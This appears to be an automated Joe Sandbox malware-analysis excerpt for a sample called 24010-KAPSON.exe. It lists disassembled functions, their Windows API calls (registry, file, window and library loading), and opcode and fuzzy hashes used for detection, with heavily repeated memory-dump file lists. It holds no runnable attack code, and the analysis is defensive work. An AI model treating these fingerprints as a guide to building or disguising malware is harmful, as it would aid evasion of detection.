Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction ID: 2e9f13adc1e302feb6e44b0cfdad9a37d499f26753b45a494d358932ab564816
Opcode Fuzzy Hash: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction Fuzzy Hash: 2501F431724220EBEB295B389D05B6A3698E710314F10857FF855F66F1E678CC029B6D

Function 0040242C Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040244E
RegCloseKey.ADVAPI32(00000000), ref: 00402457

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 50dfdf81f7a670f5ef5767009758e3d1b3810fcab5470da2ae770ba8c02e581a
Instruction ID: 0eea939cfefa250e45086769c78755c0b3bfdf1c9c70056638625836d9ad0d91
Opcode Fuzzy Hash: 50dfdf81f7a670f5ef5767009758e3d1b3810fcab5470da2ae770ba8c02e581a
Instruction Fuzzy Hash: FFF06232A00120ABDB10AFA89A4DAAE73A5AF44314F12443FE651B71C1DAFC5D01563E

Function 00405677 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405687

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

CoUninitialize.COMBASE(00000404,00000000), ref: 004056D3

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: f19b0f2b61e7f4c06593e02124d9898e7b6166ce1a012b3c4f9efcba27a6f207
Instruction ID: 82e1c39a18d35503deea9f0fbed0a799e98f034f8ad8166c80355f15d1698ca4
Opcode Fuzzy Hash: f19b0f2b61e7f4c06593e02124d9898e7b6166ce1a012b3c4f9efcba27a6f207
Instruction Fuzzy Hash: 8BF02472600A00ABE3115750AC01B2377A4EB80300F94483BEE88B22F1C77648228B6E

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: e0826ec5af3413bb652d729a6bba61c09f5daa5a6414f5b8c0910210aea65805
Instruction ID: 48959857ec3f5b0c379144f7296e67114b3b5caedf6fbb426f3b5d99425d3ae6
Opcode Fuzzy Hash: e0826ec5af3413bb652d729a6bba61c09f5daa5a6414f5b8c0910210aea65805
Instruction Fuzzy Hash: B1E09A32A042009FD704EFA4AE484AEB3B4EB90325B20097FE801F20C2CBB85C00862E

Function 00406931 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

Part of subcall function 004068C1: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
Part of subcall function 004068C1: wsprintfW.USER32 ref: 00406913
Part of subcall function 004068C1: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406927

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ce5542d5707cc7159b18b1f0655ddf6d95a06601bb2a9cb3f5ee38c39b2b28c7
Instruction ID: ca9fc7dfa89fe5ea16e4639455fc103decb8165a688e618dc96f0396de22bceb
Opcode Fuzzy Hash: ce5542d5707cc7159b18b1f0655ddf6d95a06601bb2a9cb3f5ee38c39b2b28c7
Instruction Fuzzy Hash: A5E0867390422057E61056705E4CC3773A8ABC4750306443EF556F2140DB38DC35977A

Function 00406032 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 00406036
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Function 0040600D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C12,?,?,00000000,00405DE8,?,?,?,?), ref: 00406012
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406026

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 2aab62ad23f8cb6709c95f945eae6201b0fb2c2ffcd307ea01f0c72ec21377a4
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 9AD0C972504131ABC2502728EE0889ABF55EF682717014A35F9A5A22B0CB314C628A98

Function 00405AF0 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004035CB,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405AF6
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 00405B04

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 7b2d9cd717f5aff8da3a1f7dd460dbe6a594badd890d3698b32dee5738bc8dc1
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 50C04C30204601AEDA509B30DF08B177AA4AF50741F1158396246E40A0DA78A455D92D

Function 004060E4 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00413189,0040CEF0,00403511,0040CEF0,00413189,00414EF0,00004000,?,00000000,0040333B,00000004), ref: 004060F8

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 6979515bda9704ff85578e0c0429e47610ce6c1510064802d49ef9c1332cb9e6
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: E3E08C3221022AABEF109E618C04AEB7B6CEB01360F014832FE16E7040D271E9308BE8

Function 004060B5 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,0040358D,0040A230,0040A230,00403491,00414EF0,00004000,?,00000000,0040333B), ref: 004060C9

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 6a9dac85b633d085c252a5e98b17eff4fa9db91ceb9277f9f5c2807d74357857
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: DCE0E63215026AABDF109E559C04AEB775CEF05751F014836F916E6190D631E93197A4

Function 004063A9 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406437,?,00000000,?,?,Space required: ,?), ref: 004063CD

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: b93d09ea675ceb766083aeed6388771540e4ed4a45e177d9f546af7c41f1e6d1
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 2CD0123200020EBBDF115F91FD01FAB3B1DAB08710F014426FE06E4091D775D930A765

Function 004044DE Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction ID: 113db2c9408c8cca4cfcb58c80206ddc2c6448e789c7211f53b93fac71a9565f
Opcode Fuzzy Hash: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction Fuzzy Hash: 1FC04C71740601BADA208B509E45F0777546750740F158469B741A50E0CA74E411D62D

Function 004044C7 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19

Function 00403590 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Function 004044B4 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040428B), ref: 004044BE

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction ID: 97f05af551d2e904d84950d91e3a9b28448307360fbef328a82585e9573e9e03
Opcode Fuzzy Hash: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
